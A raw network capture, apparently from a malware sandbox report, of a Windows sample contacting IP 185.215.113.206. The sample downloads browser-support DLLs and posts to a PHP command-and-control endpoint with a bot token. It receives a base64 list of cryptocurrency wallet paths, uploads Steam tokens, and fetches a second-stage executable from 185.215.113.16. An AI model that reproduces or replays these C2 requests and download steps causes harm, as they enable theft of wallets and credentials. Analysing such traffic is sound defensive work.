Nov 21, 2024 22:04:52.776581049 CET	1236	IN	Data Raw: 55 89 e5 53 57 56 83 ec 24 8b 4d 1c 8b 75 0c a1 b4 30 0a 10 31 e8 89 45 f0 8b 7d 08 8d 59 f8 83 f9 10 75 32 8d 45 dc 8d 4d e0 6a 10 ff 75 18 6a 10 50 51 57 e8 f7 93 06 00 83 c4 18 89 c7 8d 75 e8 83 45 dc f8 c7 45 d8 00 00 00 00 85 ff 0f 85 b4 01 Data Ascii: USWV$Mu01E}Yu2EMjujPQWuEEC1;]vS{EE1uuSPVEPo9]SUYY)ZYEME]M)19D
Nov 21, 2024 22:04:52.776593924 CET	1236	IN	Data Raw: 00 00 00 0f 57 c8 0f 11 8c 0e 9c 00 00 00 83 c1 20 83 c3 fe 75 a6 eb 02 31 c9 f6 c2 01 74 28 0f 10 04 0f 0f 10 4c 0e 0c 0f 57 c8 0f 10 84 0e 8c 00 00 00 0f 11 4c 0e 0c 0f 10 0c 0f 0f 57 c8 0f 11 8c 0e 8c 00 00 00 31 db 8b 55 ac 39 c2 74 6b f6 c2 Data Ascii: W u1t(LWLW1U9tkt0T0U19t<f.0L0L0LL09uM17L^_[]USWVh1
Nov 21, 2024 22:04:52.776607990 CET	1236	IN	Data Raw: f0 8d 86 00 ff ff ff 3d 00 ff ff ff 77 0a 68 0e e0 ff ff e9 d0 00 00 00 8b 45 08 85 c0 0f 84 c0 00 00 00 8d 9d f0 fe ff ff 68 00 01 00 00 68 20 21 08 10 50 e8 28 f9 07 00 83 c4 0c bf 00 01 00 00 0f 1f 80 00 00 00 00 56 ff 75 0c 53 e8 0f f9 07 00 Data Ascii: =whEhh !P(VuS)9wWuSufDT>\>=t%>>f1h
Nov 21, 2024 22:04:52.776621103 CET	1236	IN	Data Raw: 45 d0 0f 84 a4 00 00 00 89 55 e0 89 5d dc 8b 45 ec 04 01 89 4d d4 0f b6 c8 8a 5d e8 8b 55 f0 8a 24 0a 00 e3 0f b6 f3 8b 55 f0 8a 3c 32 8b 55 f0 88 3c 0a 8b 55 f0 88 24 32 00 e7 0f b6 f7 8b 4d 10 8a 21 8b 4d f0 32 24 31 8b 4d d4 8b 55 e4 88 22 ba Data Ascii: EU]EM]U$U<2U<U$2M!M2$1MU")UtDEU$U<2U<U$2MaM2$1MUbu-]En~uMMUEEM]}7
Nov 21, 2024 22:04:52.776633978 CET	1236	IN	Data Raw: 04 0f 82 3a 03 00 00 0f b6 c9 89 4d ec 31 c0 89 d1 89 7d e4 89 5d dc 66 0f 1f 84 00 00 00 00 00 89 45 e8 8b 55 e4 8b 04 02 89 45 d4 8b 45 e8 8b 55 ec 8d 44 02 01 89 d3 0f b6 c0 8b 7d f0 0f b6 14 07 00 d1 0f b6 f1 8a 34 37 88 34 07 88 14 37 00 d6 Data Ascii: :M1}]fEUEEUD}4747EED}4}4EUEUu}<7}<U2u4EUU}4}
Nov 21, 2024 22:04:52.784802914 CET	1236	IN	Data Raw: 01 cb 8b 52 14 89 95 3c ff ff ff 8b 4e 0c 89 8d a8 fe ff ff 11 d1 8b 46 28 89 85 c8 fe ff ff 01 c3 89 5d d4 8b 46 2c 89 85 cc fe ff ff 11 c1 8b 7e 4c 31 cf 8b 46 48 31 d8 81 f7 8c 68 05 9b 35 1f 6c 3e 2b 89 fb 81 c3 3b a7 ca 84 89 5d dc 89 c6 81 Data Ascii: R<NF(]F,~L1FH1h5l>+;]gu33`tSUSU`UM11UTEEMM11E`tS
Nov 21, 2024 22:04:52.784966946 CET	1236	IN	Data Raw: 5d 80 11 d9 89 4d f0 8b 75 a4 31 ce 89 75 a4 8b 8d 54 ff ff ff 31 c1 89 8d 54 ff ff ff 8b 45 e8 01 f0 89 45 e8 8b 7d c0 11 cf 31 c2 31 fb 89 d0 0f a4 d8 08 0f a4 d3 08 8b 8d 74 ff ff ff 8b 71 68 89 b5 24 ff ff ff 8b 55 b8 01 f2 8b 71 6c 89 b5 5c Data Ascii: ]Mu1uT1TEE}11tqh$Uql\MUMT1M1UMuuM11UMtBpTMRtdEpMxEU1U}1}E
Nov 21, 2024 22:04:54.413733006 CET	94	OUT	GET /68b591d6548ec281/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 21, 2024 22:04:54.850852013 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:04:54 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Nov 21, 2024 22:04:55.719055891 CET	95	OUT	GET /68b591d6548ec281/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 21, 2024 22:04:56.156620979 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:04:55 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Nov 21, 2024 22:04:56.794575930 CET	91	OUT	GET /68b591d6548ec281/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 21, 2024 22:04:57.232709885 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:04:57 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Nov 21, 2024 22:05:00.327399969 CET	95	OUT	GET /68b591d6548ec281/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 21, 2024 22:05:00.766752005 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:05:00 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Nov 21, 2024 22:05:01.405564070 CET	99	OUT	GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 21, 2024 22:05:01.842786074 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:05:01 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Nov 21, 2024 22:05:02.572419882 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JECAFHJEGCFCBFIEGCAE Host: 185.215.113.206 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Nov 21, 2024 22:05:03.519996881 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:05:02 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 21, 2024 22:05:03.588109970 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AKKKECBKKECGCAAAEHJK Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 4b 4b 4b 45 43 42 4b 4b 45 43 47 43 41 41 41 45 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 30 36 66 62 62 35 66 63 31 37 62 31 34 39 66 62 62 32 34 65 38 66 64 34 61 66 30 36 35 63 30 66 32 37 64 63 63 37 66 32 36 34 65 32 65 34 61 37 31 64 35 36 30 35 36 33 65 65 64 33 38 33 63 64 33 39 37 31 34 39 38 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4b 4b 45 43 42 4b 4b 45 43 47 43 41 41 41 45 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4b 4b 45 43 42 4b 4b 45 43 47 43 41 41 41 45 48 4a 4b 2d 2d 0d 0a Data Ascii: ------AKKKECBKKECGCAAAEHJKContent-Disposition: form-data; name="token"406fbb5fc17b149fbb24e8fd4af065c0f27dcc7f264e2e4a71d560563eed383cd3971498------AKKKECBKKECGCAAAEHJKContent-Disposition: form-data; name="message"wallets------AKKKECBKKECGCAAAEHJK--
Nov 21, 2024 22:05:04.037587881 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:05:03 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Nov 21, 2024 22:05:04.269064903 CET	467	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FIDAFIEBFCBKFHIDHIJE Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 49 44 41 46 49 45 42 46 43 42 4b 46 48 49 44 48 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 30 36 66 62 62 35 66 63 31 37 62 31 34 39 66 62 62 32 34 65 38 66 64 34 61 66 30 36 35 63 30 66 32 37 64 63 63 37 66 32 36 34 65 32 65 34 61 37 31 64 35 36 30 35 36 33 65 65 64 33 38 33 63 64 33 39 37 31 34 39 38 0d 0a 2d 2d 2d 2d 2d 2d 46 49 44 41 46 49 45 42 46 43 42 4b 46 48 49 44 48 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 46 49 44 41 46 49 45 42 46 43 42 4b 46 48 49 44 48 49 4a 45 2d 2d 0d 0a Data Ascii: ------FIDAFIEBFCBKFHIDHIJEContent-Disposition: form-data; name="token"406fbb5fc17b149fbb24e8fd4af065c0f27dcc7f264e2e4a71d560563eed383cd3971498------FIDAFIEBFCBKFHIDHIJEContent-Disposition: form-data; name="message"files------FIDAFIEBFCBKFHIDHIJE--
Nov 21, 2024 22:05:04.707695961 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:05:04 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 21, 2024 22:05:04.736560106 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIIJECAEGDHIDHJKKKKF Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 49 49 4a 45 43 41 45 47 44 48 49 44 48 4a 4b 4b 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 30 36 66 62 62 35 66 63 31 37 62 31 34 39 66 62 62 32 34 65 38 66 64 34 61 66 30 36 35 63 30 66 32 37 64 63 63 37 66 32 36 34 65 32 65 34 61 37 31 64 35 36 30 35 36 33 65 65 64 33 38 33 63 64 33 39 37 31 34 39 38 0d 0a 2d 2d 2d 2d 2d 2d 49 49 49 4a 45 43 41 45 47 44 48 49 44 48 4a 4b 4b 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 49 49 4a 45 43 41 45 47 44 48 49 44 48 4a 4b 4b 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------IIIJECAEGDHIDHJKKKKFContent-Disposition: form-data; name="token"406fbb5fc17b149fbb24e8fd4af065c0f27dcc7f264e2e4a71d560563eed383cd3971498------IIIJECAEGDHIDHJKKKKFContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------IIIJECAEGDHIDHJKKKKFContent-Disposition: form-data; name="file"------IIIJECAEGDHIDHJKKKKF--
Nov 21, 2024 22:05:05.986468077 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:05:04 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 21, 2024 22:05:06.019958973 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAFHIJDHDGDBFHIEHDGI Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 41 46 48 49 4a 44 48 44 47 44 42 46 48 49 45 48 44 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 30 36 66 62 62 35 66 63 31 37 62 31 34 39 66 62 62 32 34 65 38 66 64 34 61 66 30 36 35 63 30 66 32 37 64 63 63 37 66 32 36 34 65 32 65 34 61 37 31 64 35 36 30 35 36 33 65 65 64 33 38 33 63 64 33 39 37 31 34 39 38 0d 0a 2d 2d 2d 2d 2d 2d 43 41 46 48 49 4a 44 48 44 47 44 42 46 48 49 45 48 44 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 43 41 46 48 49 4a 44 48 44 47 44 42 46 48 49 45 48 44 47 49 2d 2d 0d 0a Data Ascii: ------CAFHIJDHDGDBFHIEHDGIContent-Disposition: form-data; name="token"406fbb5fc17b149fbb24e8fd4af065c0f27dcc7f264e2e4a71d560563eed383cd3971498------CAFHIJDHDGDBFHIEHDGIContent-Disposition: form-data; name="message"ybncbhylepme------CAFHIJDHDGDBFHIEHDGI--
Nov 21, 2024 22:05:06.048957109 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:05:04 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 21, 2024 22:05:06.462178946 CET	271	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:05:06 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 68 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 32 31 70 62 6d 55 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 58 77 3d Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L21pbmUvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8NXw=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49953	185.215.113.16	80	7840	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 22:05:06.586934090 CET	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
